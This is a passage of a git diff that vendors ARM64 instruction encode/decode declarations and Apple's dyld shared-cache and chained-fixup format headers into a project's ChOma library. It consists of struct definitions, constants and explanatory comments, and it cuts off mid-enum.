arm64_gen_mov_reg(arm64_register destinationReg, arm64_register sourceReg, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_mov_reg(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut); +int arm64_gen_add_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_add_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut); +int arm64_gen_sub_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, optional_bool optS, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_sub_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut, bool *sOut); +int arm64_gen_ldr_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_ldr_imm(uint32_t inst, arm64_register *destinationReg, arm64_register *addrReg, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut); +int arm64_gen_ldrs_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_ldrs_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut); +int arm64_gen_str_imm(char type, arm64_ldr_str_type instType, arm64_register sourceReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_str_imm(uint32_t inst, arm64_register *sourceRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut); +int arm64_gen_ldr_lit(arm64_register destinationReg, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_ldr_lit(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *destinationReg); +int arm64_gen_ldp(arm64_ldp_stp_type instType, arm64_register destinationReg1, arm64_register destinationReg2, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_gen_cb_n_z(optional_bool isCbnz, arm64_register reg, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_cb_n_z(uint32_t inst, uint64_t origin, bool *isCbnzOut, arm64_register *regOut, uint64_t *targetOut); +int arm64_gen_tb_n_z(optional_bool isTbnz, arm64_register reg, optional_uint64_t optTarget, optional_uint64_t optBit, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_tb_n_z(uint32_t inst, uint64_t origin, bool *isTbnzOut, arm64_register *regOut, uint64_t *targetOut, uint64_t *bitOut); +#endif \ No newline at end of file diff --git a/XPF/external/ChOma/src/dyld_cache_format.h b/XPF/external/ChOma/src/dyld_cache_format.h new file mode 100644 index 0000000..c26ed9a --- /dev/null +++ b/XPF/external/ChOma/src/dyld_cache_format.h @@ -0,0 +1,624 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2006-2015 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef __DYLD_CACHE_FORMAT__ +#define __DYLD_CACHE_FORMAT__ + +#include + +#include "fixup-chains.h" + + +struct dyld_cache_header +{ + char magic[16]; // e.g. "dyld_v0 i386" + uint32_t mappingOffset; // file offset to first dyld_cache_mapping_info + uint32_t mappingCount; // number of dyld_cache_mapping_info entries + uint32_t imagesOffsetOld; // UNUSED: moved to imagesOffset to prevent older dsc_extarctors from crashing + uint32_t imagesCountOld; // UNUSED: moved to imagesCount to prevent older dsc_extarctors from crashing + uint64_t dyldBaseAddress; // base address of dyld when cache was built + uint64_t codeSignatureOffset; // file offset of code signature blob + uint64_t codeSignatureSize; // size of code signature blob (zero means to end of file) + uint64_t slideInfoOffsetUnused; // unused. Used to be file offset of kernel slid info + uint64_t slideInfoSizeUnused; // unused. Used to be size of kernel slid info + uint64_t localSymbolsOffset; // file offset of where local symbols are stored + uint64_t localSymbolsSize; // size of local symbols information + uint8_t uuid[16]; // unique value for each shared cache file + uint64_t cacheType; // 0 for development, 1 for production, 2 for multi-cache + uint32_t branchPoolsOffset; // file offset to table of uint64_t pool addresses + uint32_t branchPoolsCount; // number of uint64_t entries + uint64_t dyldInCacheMH; // (unslid) address of mach_header of dyld in cache + uint64_t dyldInCacheEntry; // (unslid) address of entry point (_dyld_start) of dyld in cache + uint64_t imagesTextOffset; // file offset to first dyld_cache_image_text_info + uint64_t imagesTextCount; // number of dyld_cache_image_text_info entries + uint64_t patchInfoAddr; // (unslid) address of dyld_cache_patch_info + uint64_t patchInfoSize; // Size of all of the patch information pointed to via the dyld_cache_patch_info + uint64_t otherImageGroupAddrUnused; // unused + uint64_t otherImageGroupSizeUnused; // unused + uint64_t progClosuresAddr; // (unslid) address of list of program launch closures + uint64_t progClosuresSize; // size of list of program launch closures + uint64_t progClosuresTrieAddr; // (unslid) address of trie of indexes into program launch closures + uint64_t progClosuresTrieSize; // size of trie of indexes into program launch closures + uint32_t platform; // platform number (macOS=1, etc) + uint32_t formatVersion : 8, // dyld3::closure::kFormatVersion + dylibsExpectedOnDisk : 1, // dyld should expect the dylib exists on disk and to compare inode/mtime to see if cache is valid + simulator : 1, // for simulator of specified platform + locallyBuiltCache : 1, // 0 for B&I built cache, 1 for locally built cache + builtFromChainedFixups : 1, // some dylib in cache was built using chained fixups, so patch tables must be used for overrides + padding : 20; // TBD + uint64_t sharedRegionStart; // base load address of cache if not slid + uint64_t sharedRegionSize; // overall size required to map the cache and all subCaches, if any + uint64_t maxSlide; // runtime slide of cache can be between zero and this value + uint64_t dylibsImageArrayAddr; // (unslid) address of ImageArray for dylibs in this cache + uint64_t dylibsImageArraySize; // size of ImageArray for dylibs in this cache + uint64_t dylibsTrieAddr; // (unslid) address of trie of indexes of all cached dylibs + uint64_t dylibsTrieSize; // size of trie of cached dylib paths + uint64_t otherImageArrayAddr; // (unslid) address of ImageArray for dylibs and bundles with dlopen closures + uint64_t otherImageArraySize; // size of ImageArray for dylibs and bundles with dlopen closures + uint64_t otherTrieAddr; // (unslid) address of trie of indexes of all dylibs and bundles with dlopen closures + uint64_t otherTrieSize; // size of trie of dylibs and bundles with dlopen closures + uint32_t mappingWithSlideOffset; // file offset to first dyld_cache_mapping_and_slide_info + uint32_t mappingWithSlideCount; // number of dyld_cache_mapping_and_slide_info entries + uint64_t dylibsPBLStateArrayAddrUnused; // unused + uint64_t dylibsPBLSetAddr; // (unslid) address of PrebuiltLoaderSet of all cached dylibs + uint64_t programsPBLSetPoolAddr; // (unslid) address of pool of PrebuiltLoaderSet for each program + uint64_t programsPBLSetPoolSize; // size of pool of PrebuiltLoaderSet for each program + uint64_t programTrieAddr; // (unslid) address of trie mapping program path to PrebuiltLoaderSet + uint32_t programTrieSize; + uint32_t osVersion; // OS Version of dylibs in this cache for the main platform + uint32_t altPlatform; // e.g. iOSMac on macOS + uint32_t altOsVersion; // e.g. 14.0 for iOSMac + uint64_t swiftOptsOffset; // VM offset from cache_header* to Swift optimizations header + uint64_t swiftOptsSize; // size of Swift optimizations header + uint32_t subCacheArrayOffset; // file offset to first dyld_subcache_entry + uint32_t subCacheArrayCount; // number of subCache entries + uint8_t symbolFileUUID[16]; // unique value for the shared cache file containing unmapped local symbols + uint64_t rosettaReadOnlyAddr; // (unslid) address of the start of where Rosetta can add read-only/executable data + uint64_t rosettaReadOnlySize; // maximum size of the Rosetta read-only/executable region + uint64_t rosettaReadWriteAddr; // (unslid) address of the start of where Rosetta can add read-write data + uint64_t rosettaReadWriteSize; // maximum size of the Rosetta read-write region + uint32_t imagesOffset; // file offset to first dyld_cache_image_info + uint32_t imagesCount; // number of dyld_cache_image_info entries + uint32_t cacheSubType; // 0 for development, 1 for production, when cacheType is multi-cache(2) + uint64_t objcOptsOffset; // VM offset from cache_header* to ObjC optimizations header + uint64_t objcOptsSize; // size of ObjC optimizations header + uint64_t cacheAtlasOffset; // VM offset from cache_header* to embedded cache atlas for process introspection + uint64_t cacheAtlasSize; // size of embedded cache atlas + uint64_t dynamicDataOffset; // VM offset from cache_header* to the location of dyld_cache_dynamic_data_header + uint64_t dynamicDataMaxSize; // maximum size of space reserved from dynamic data + uint32_t tproMappingsOffset; // file offset to first dyld_cache_tpro_mapping_info + uint32_t tproMappingsCount; // number of dyld_cache_tpro_mapping_info entries +}; + +// Uncomment this and check the build errors for the current mapping offset to check against when adding new fields. +// template class A { int x[-size]; }; A a; + + +struct dyld_cache_mapping_info { + uint64_t address; + uint64_t size; + uint64_t fileOffset; + uint32_t maxProt; + uint32_t initProt; +}; + +// Contains the flags for the dyld_cache_mapping_and_slide_info flgs field +enum { + DYLD_CACHE_MAPPING_AUTH_DATA = 1 << 0U, + DYLD_CACHE_MAPPING_DIRTY_DATA = 1 << 1U, + DYLD_CACHE_MAPPING_CONST_DATA = 1 << 2U, + DYLD_CACHE_MAPPING_TEXT_STUBS = 1 << 3U, + DYLD_CACHE_DYNAMIC_CONFIG_DATA = 1 << 4U, + DYLD_CACHE_READ_ONLY_DATA = 1 << 5U, + DYLD_CACHE_MAPPING_CONST_TPRO_DATA = 1 << 6U, +}; + +struct dyld_cache_mapping_and_slide_info { + uint64_t address; + uint64_t size; + uint64_t fileOffset; + uint64_t slideInfoFileOffset; + uint64_t slideInfoFileSize; + uint64_t flags; + uint32_t maxProt; + uint32_t initProt; +}; + +struct dyld_cache_tpro_mapping_info { + uint64_t unslidAddress; + uint64_t size; +}; + +struct dyld_cache_image_info +{ + uint64_t address; + uint64_t modTime; + uint64_t inode; + uint32_t pathFileOffset; + uint32_t pad; +}; + +struct dyld_cache_image_info_extra +{ + uint64_t exportsTrieAddr; // address of trie in unslid cache + uint64_t weakBindingsAddr; + uint32_t exportsTrieSize; + uint32_t weakBindingsSize; + uint32_t dependentsStartArrayIndex; + uint32_t reExportsStartArrayIndex; +}; + + +struct dyld_cache_accelerator_info +{ + uint32_t version; // currently 1 + uint32_t imageExtrasCount; // does not include aliases + uint32_t imagesExtrasOffset; // offset into this chunk of first dyld_cache_image_info_extra + uint32_t bottomUpListOffset; // offset into this chunk to start of 16-bit array of sorted image indexes + uint32_t dylibTrieOffset; // offset into this chunk to start of trie containing all dylib paths + uint32_t dylibTrieSize; // size of trie containing all dylib paths + uint32_t initializersOffset; // offset into this chunk to start of initializers list + uint32_t initializersCount; // size of initializers list + uint32_t dofSectionsOffset; // offset into this chunk to start of DOF sections list + uint32_t dofSectionsCount; // size of initializers list + uint32_t reExportListOffset; // offset into this chunk to start of 16-bit array of re-exports + uint32_t reExportCount; // size of re-exports + uint32_t depListOffset; // offset into this chunk to start of 16-bit array of dependencies (0x8000 bit set if upward) + uint32_t depListCount; // size of dependencies + uint32_t rangeTableOffset; // offset into this chunk to start of ss + uint32_t rangeTableCount; // size of dependencies + uint64_t dyldSectionAddr; // address of libdyld's __dyld section in unslid cache +}; + +struct dyld_cache_accelerator_initializer +{ + uint32_t functionOffset; // address offset from start of cache mapping + uint32_t imageIndex; +}; + +struct dyld_cache_range_entry +{ + uint64_t startAddress; // unslid address of start of region + uint32_t size; + uint32_t imageIndex; +}; + +struct dyld_cache_accelerator_dof +{ + uint64_t sectionAddress; // unslid address of start of region + uint32_t sectionSize; + uint32_t imageIndex; +}; + +struct dyld_cache_image_text_info +{ + uint8_t uuid[16]; + uint64_t loadAddress; // unslid address of start of __TEXT + uint32_t textSegmentSize; + uint32_t pathOffset; // offset from start of cache file +}; + + +// The rebasing info is to allow the kernel to lazily rebase DATA pages of the +// dyld shared cache. Rebasing is adding the slide to interior pointers. +struct dyld_cache_slide_info +{ + uint32_t version; // currently 1 + uint32_t toc_offset; + uint32_t toc_count; + uint32_t entries_offset; + uint32_t entries_count; + uint32_t entries_size; // currently 128 + // uint16_t toc[toc_count]; + // entrybitmap entries[entries_count]; +}; + +struct dyld_cache_slide_info_entry { + uint8_t bits[4096/(8*4)]; // 128-byte bitmap +}; + + +// The version 2 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// pageExtras[] = info + info->page_extras_offset +// valueMask = ~(info->delta_mask) +// deltaShift = __builtin_ctzll(info->delta_mask) - 2 +// +// There are three cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) (pageStarts[pageIndex] & DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA) == 0 +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex] * 4. +// +// 3) pageStarts[pageIndex] & DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA +// Multiple linked lists are needed for all rebase locations in a page. +// The pagesExtras array contains 2 or more entries each of which is the +// start of a new linked list in the page. The first is at: +// extrasStartIndex = (pageStarts[pageIndex] & 0x3FFF) +// The next is at extrasStartIndex+1. The last is denoted by +// having the high bit (DYLD_CACHE_SLIDE_PAGE_ATTR_END) of the pageExtras[] +// set. +// +// For 64-bit architectures, there is always enough free bits to encode all +// possible deltas. The info->delta_mask field shows where the delta is located +// in the pointer. That value must be masked off (valueMask) before the slide +// is added to the pointer. +// +// For 32-bit architectures, there are only three bits free (the three most +// significant bits). To extract the delta, you must first subtract value_add +// from the pointer value, then AND with delta_mask, then shift by deltaShift. +// That still leaves a maximum delta to the next rebase location of 28 bytes. +// To reduce the number or chains needed, an optimization was added. Turns +// out zero is common in the DATA region. A zero can be turned into a +// non-rebasing entry in the linked list. The can be done because nothing +// in the shared cache should point out of its dylib to the start of the shared +// cache. +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = 1; +// while ( delta != 0 ) { +// uint8_t* loc = pageStart + pageOffset; +// uintptr_t rawValue = *((uintptr_t*)loc); +// delta = ((rawValue & deltaMask) >> deltaShift); +// uintptr_t newValue = (rawValue & valueMask); +// if ( newValue != 0 ) { +// newValue += valueAdd; +// newValue += slideAmount; +// } +// *((uintptr_t*)loc) = newValue; +// pageOffset += delta; +// } +// +// +struct dyld_cache_slide_info2 +{ + uint32_t version; // currently 2 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_offset; + uint32_t page_starts_count; + uint32_t page_extras_offset; + uint32_t page_extras_count; + uint64_t delta_mask; // which (contiguous) set of bits contains the delta to the next rebase location + uint64_t value_add; + //uint16_t page_starts[page_starts_count]; + //uint16_t page_extras[page_extras_count]; +}; +#define DYLD_CACHE_SLIDE_PAGE_ATTRS 0xC000 // high bits of uint16_t are flags +#define DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA 0x8000 // index is into extras array (not starts array) +#define DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE 0x4000 // page has no rebasing +#define DYLD_CACHE_SLIDE_PAGE_ATTR_END 0x8000 // last chain entry for page + + + +// The version 3 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// +// There are two cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) otherwise... +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex]. +// +// A pointer is one of of the variants in dyld_cache_slide_pointer3 +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = pageStarts[pageIndex]; +// dyld_cache_slide_pointer3* loc = pageStart; +// do { +// loc += delta; +// delta = loc->offsetToNextPointer; +// if ( loc->auth.authenticated ) { +// newValue = loc->offsetFromSharedCacheBase + results->slide + auth_value_add; +// newValue = sign_using_the_various_bits(newValue); +// } +// else { +// uint64_t value51 = loc->pointerValue; +// uint64_t top8Bits = value51 & 0x0007F80000000000ULL; +// uint64_t bottom43Bits = value51 & 0x000007FFFFFFFFFFULL; +// uint64_t targetValue = ( top8Bits << 13 ) | bottom43Bits; +// newValue = targetValue + results->slide; +// } +// loc->raw = newValue; +// } while (delta != 0); +// +// +struct dyld_cache_slide_info3 +{ + uint32_t version; // currently 3 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_count; + uint64_t auth_value_add; + uint16_t page_starts[/* page_starts_count */]; +}; + +#define DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE 0xFFFF // page has no rebasing + +union dyld_cache_slide_pointer3 +{ + uint64_t raw; + struct { + uint64_t pointerValue : 51, + offsetToNextPointer : 11, + unused : 2; + } plain; + + struct { + uint64_t offsetFromSharedCacheBase : 32, + diversityData : 16, + hasAddressDiversity : 1, + key : 2, + offsetToNextPointer : 11, + unused : 1, + authenticated : 1; // = 1; + } auth; +}; + + + +// The version 4 of the slide info is optimized for 32-bit caches up to 1GB. +// Since only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers takes 30 bits. That +// gives us two bits to use to chain to the next rebase. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// pageExtras[] = info + info->page_extras_offset +// valueMask = ~(info->delta_mask) +// deltaShift = __builtin_ctzll(info->delta_mask) - 2 +// +// There are three cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE4_PAGE_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) (pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA) == 0 +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex] * 4. +// +// 3) pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA +// Multiple chains are needed for all rebase locations in a page. +// The pagesExtras array contains 2 or more entries each of which is the +// start of a new chain in the page. The first is at: +// extrasStartIndex = (pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_INDEX) +// The next is at extrasStartIndex+1. The last is denoted by +// having the high bit (DYLD_CACHE_SLIDE4_PAGE_EXTRA_END) of the pageExtras[]. +// +// For 32-bit architectures, there are only two bits free (the two most +// significant bits). To extract the delta, you must first subtract value_add +// from the pointer value, then AND with delta_mask, then shift by deltaShift. +// That still leaves a maximum delta to the next rebase location of 12 bytes. +// To reduce the number or chains needed, an optimization was added. Turns +// most of the non-rebased data are small values and can be co-opt'ed into +// being used in the chain. The can be done because nothing +// in the shared cache should point to the first 64KB which are in the shared +// cache header information. So if the resulting pointer points to the +// start of the cache +/-32KB, then it is actually a small number that should +// not be rebased, but just reconstituted. +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = 1; +// while ( delta != 0 ) { +// uint8_t* loc = pageStart + pageOffset; +// uint32_t rawValue = *((uint32_t*)loc); +// delta = ((rawValue & deltaMask) >> deltaShift); +// uintptr_t newValue = (rawValue & valueMask); +// if ( (newValue & 0xFFFF8000) == 0 ) { +// // small positive non-pointer, use as-is +// } +// else if ( (newValue & 0x3FFF8000) == 0x3FFF8000 ) { +// // small negative non-pointer +// newValue |= 0xC0000000; +// } +// else { +// // pointer that needs rebasing +// newValue += valueAdd; +// newValue += slideAmount; +// } +// *((uint32_t*)loc) = newValue; +// pageOffset += delta; +// } +// +// +struct dyld_cache_slide_info4 +{ + uint32_t version; // currently 4 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_offset; + uint32_t page_starts_count; + uint32_t page_extras_offset; + uint32_t page_extras_count; + uint64_t delta_mask; // which (contiguous) set of bits contains the delta to the next rebase location (0xC0000000) + uint64_t value_add; // base address of cache + //uint16_t page_starts[page_starts_count]; + //uint16_t page_extras[page_extras_count]; +}; +#define DYLD_CACHE_SLIDE4_PAGE_NO_REBASE 0xFFFF // page has no rebasing +#define DYLD_CACHE_SLIDE4_PAGE_INDEX 0x7FFF // mask of page_starts[] values +#define DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA 0x8000 // index is into extras array (not a chain start offset) +#define DYLD_CACHE_SLIDE4_PAGE_EXTRA_END 0x8000 // last chain entry for page + + +// The version 5 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// +// There are two cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) otherwise... +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex]. +// +// A pointer is one of of the variants in dyld_cache_slide_pointer5 +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = pageStarts[pageIndex]; +// dyld_cache_slide_pointer5* loc = pageStart; +// do { +// loc += delta; +// delta = loc->offsetToNextPointer; +// newValue = loc->regular.target + value_add + results->slide; +// if ( loc->auth.authenticated ) { +// newValue = sign_using_the_various_bits(newValue); +// } +// else { +// newValue = newValue | (loc->regular.high8 < 56); +// } +// loc->raw = newValue; +// } while (delta != 0); +// +// +struct dyld_cache_slide_info5 +{ + uint32_t version; // currently 5 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_count; + uint64_t value_add; + uint16_t page_starts[/* page_starts_count */]; +}; + +#define DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE 0xFFFF // page has no rebasing + +union dyld_cache_slide_pointer5 +{ + uint64_t raw; + struct dyld_chained_ptr_arm64e_shared_cache_rebase regular; + struct dyld_chained_ptr_arm64e_shared_cache_auth_rebase auth; +}; + +struct dyld_cache_local_symbols_info +{ + uint32_t nlistOffset; // offset into this chunk of nlist entries + uint32_t nlistCount; // count of nlist entries + uint32_t stringsOffset; // offset into this chunk of string pool + uint32_t stringsSize; // byte count of string pool + uint32_t entriesOffset; // offset into this chunk of array of dyld_cache_local_symbols_entry + uint32_t entriesCount; // number of elements in dyld_cache_local_symbols_entry array +}; + +struct dyld_cache_local_symbols_entry +{ + uint32_t dylibOffset; // offset in cache file of start of dylib + uint32_t nlistStartIndex; // start index of locals for this dylib + uint32_t nlistCount; // number of local symbols for this dylib +}; + +struct dyld_cache_local_symbols_entry_64 +{ + uint64_t dylibOffset; // offset in cache buffer of start of dylib + uint32_t nlistStartIndex; // start index of locals for this dylib + uint32_t nlistCount; // number of local symbols for this dylib +}; + +struct dyld_subcache_entry_v1 +{ + uint8_t uuid[16]; // The UUID of the subCache file + uint64_t cacheVMOffset; // The offset of this subcache from the main cache base address +}; + +struct dyld_subcache_entry +{ + uint8_t uuid[16]; // The UUID of the subCache file + uint64_t cacheVMOffset; // The offset of this subcache from the main cache base address + char fileSuffix[32]; // The file name suffix of the subCache file e.g. ".25.data", ".03.development" +}; + +// This struct is a small piece of dynamic data that can be included in the shared region, and contains configuration +// data about the shared cache in use by the process. It is located +struct dyld_cache_dynamic_data_header +{ + char magic[16]; // e.g. "dyld_data v0" + uint64_t fsId; // The fsid_t of the shared cache being used by a process + uint64_t fsObjId; // The fs_obj_id_t of the shared cache being used by a process +}; + +// This is the location of the macOS shared cache on macOS 11.0 and later +#define MACOSX_MRM_DYLD_SHARED_CACHE_DIR "/System/Library/dyld/" + +// This is old define for the old location of the dyld cache +#define MACOSX_DYLD_SHARED_CACHE_DIR MACOSX_MRM_DYLD_SHARED_CACHE_DIR + +#define IPHONE_DYLD_SHARED_CACHE_DIR "/System/Library/Caches/com.apple.dyld/" + +#define DRIVERKIT_DYLD_SHARED_CACHE_DIR "/System/DriverKit/System/Library/dyld/" + +#define EXCLAVEKIT_DYLD_SHARED_CACHE_DIR "/System/ExclaveKit/System/Library/dyld/" + +#define DYLD_SHARED_CACHE_DEVELOPMENT_EXT ".development" + +#define DYLD_SHARED_CACHE_DYNAMIC_DATA_MAGIC "dyld_data v0" + +static const char* cryptexPrefixes[] = { + "/System/Volumes/Preboot/Cryptexes/OS/", + "/private/preboot/Cryptexes/OS/", + "/System/Cryptexes/OS" +}; + +static const uint64_t kDyldSharedCacheTypeDevelopment = 0; +static const uint64_t kDyldSharedCacheTypeProduction = 1; +static const uint64_t kDyldSharedCacheTypeUniversal = 2; + + + + + +#endif // __DYLD_CACHE_FORMAT__ + + diff --git a/XPF/external/ChOma/src/fixup-chains.h b/XPF/external/ChOma/src/fixup-chains.h new file mode 100644 index 0000000..13e8389 --- /dev/null +++ b/XPF/external/ChOma/src/fixup-chains.h @@ -0,0 +1,306 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2018 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ + +#ifndef __MACH_O_FIXUP_CHAINS__ +#define __MACH_O_FIXUP_CHAINS__ 6 + + +#include + + +//#define LC_DYLD_EXPORTS_TRIE 0x80000033 // used with linkedit_data_command +//#define LC_DYLD_CHAINED_FIXUPS 0x80000034 // used with linkedit_data_command, payload is dyld_chained_fixups_header + + +// header of the LC_DYLD_CHAINED_FIXUPS payload +struct dyld_chained_fixups_header +{ + uint32_t fixups_version; // 0 + uint32_t starts_offset; // offset of dyld_chained_starts_in_image in chain_data + uint32_t imports_offset; // offset of imports table in chain_data + uint32_t symbols_offset; // offset of symbol strings in chain_data + uint32_t imports_count; // number of imported symbol names + uint32_t imports_format; // DYLD_CHAINED_IMPORT* + uint32_t symbols_format; // 0 => uncompressed, 1 => zlib compressed +}; + +// This struct is embedded in LC_DYLD_CHAINED_FIXUPS payload +struct dyld_chained_starts_in_image +{ + uint32_t seg_count; + uint32_t seg_info_offset[1]; // each entry is offset into this struct for that segment + // followed by pool of dyld_chain_starts_in_segment data +}; + +// This struct is embedded in dyld_chain_starts_in_image +// and passed down to the kernel for page-in linking +struct dyld_chained_starts_in_segment +{ + uint32_t size; // size of this (amount kernel needs to copy) + uint16_t page_size; // 0x1000 or 0x4000 + uint16_t pointer_format; // DYLD_CHAINED_PTR_* + uint64_t segment_offset; // offset in memory to start of segment + uint32_t max_valid_pointer; // for 32-bit OS, any value beyond this is not a pointer + uint16_t page_count; // how many pages are in array + uint16_t page_start[1]; // each entry is offset in each page of first element in chain + // or DYLD_CHAINED_PTR_START_NONE if no fixups on page + // uint16_t chain_starts[1]; // some 32-bit formats may require multiple starts per page. + // for those, if high bit is set in page_starts[], then it + // is index into chain_starts[] which is a list of starts + // the last of which has the high bit set +}; + +enum { + DYLD_CHAINED_PTR_START_NONE = 0xFFFF, // used in page_start[] to denote a page with no fixups + DYLD_CHAINED_PTR_START_MULTI = 0x8000, // used in page_start[] to denote a page which has multiple starts + DYLD_CHAINED_PTR_START_LAST = 0x8000, // used in chain_starts[] to denote last start in list for page +}; + +// This struct is embedded in __TEXT,__chain_starts section in firmware +struct dyld_chained_starts_offsets +{ + uint32_t pointer_format; // DYLD_CHAINED_PTR_32_FIRMWARE + uint32_t starts_count; // number of starts in array + uint32_t chain_starts[1]; // array chain start offsets +}; + + +// values for dyld_chained_starts_in_segment.pointer_format +enum { + DYLD_CHAINED_PTR_ARM64E = 1, // stride 8, unauth target is vmaddr + DYLD_CHAINED_PTR_64 = 2, // target is vmaddr + DYLD_CHAINED_PTR_32 = 3, + DYLD_CHAINED_PTR_32_CACHE = 4, + DYLD_CHAINED_PTR_32_FIRMWARE = 5, + DYLD_CHAINED_PTR_64_OFFSET = 6, // target is vm offset + DYLD_CHAINED_PTR_ARM64E_OFFSET = 7, // old name + DYLD_CHAINED_PTR_ARM64E_KERNEL = 7, // stride 4, unauth target is vm offset + DYLD_CHAINED_PTR_64_KERNEL_CACHE = 8, + DYLD_CHAINED_PTR_ARM64E_USERLAND 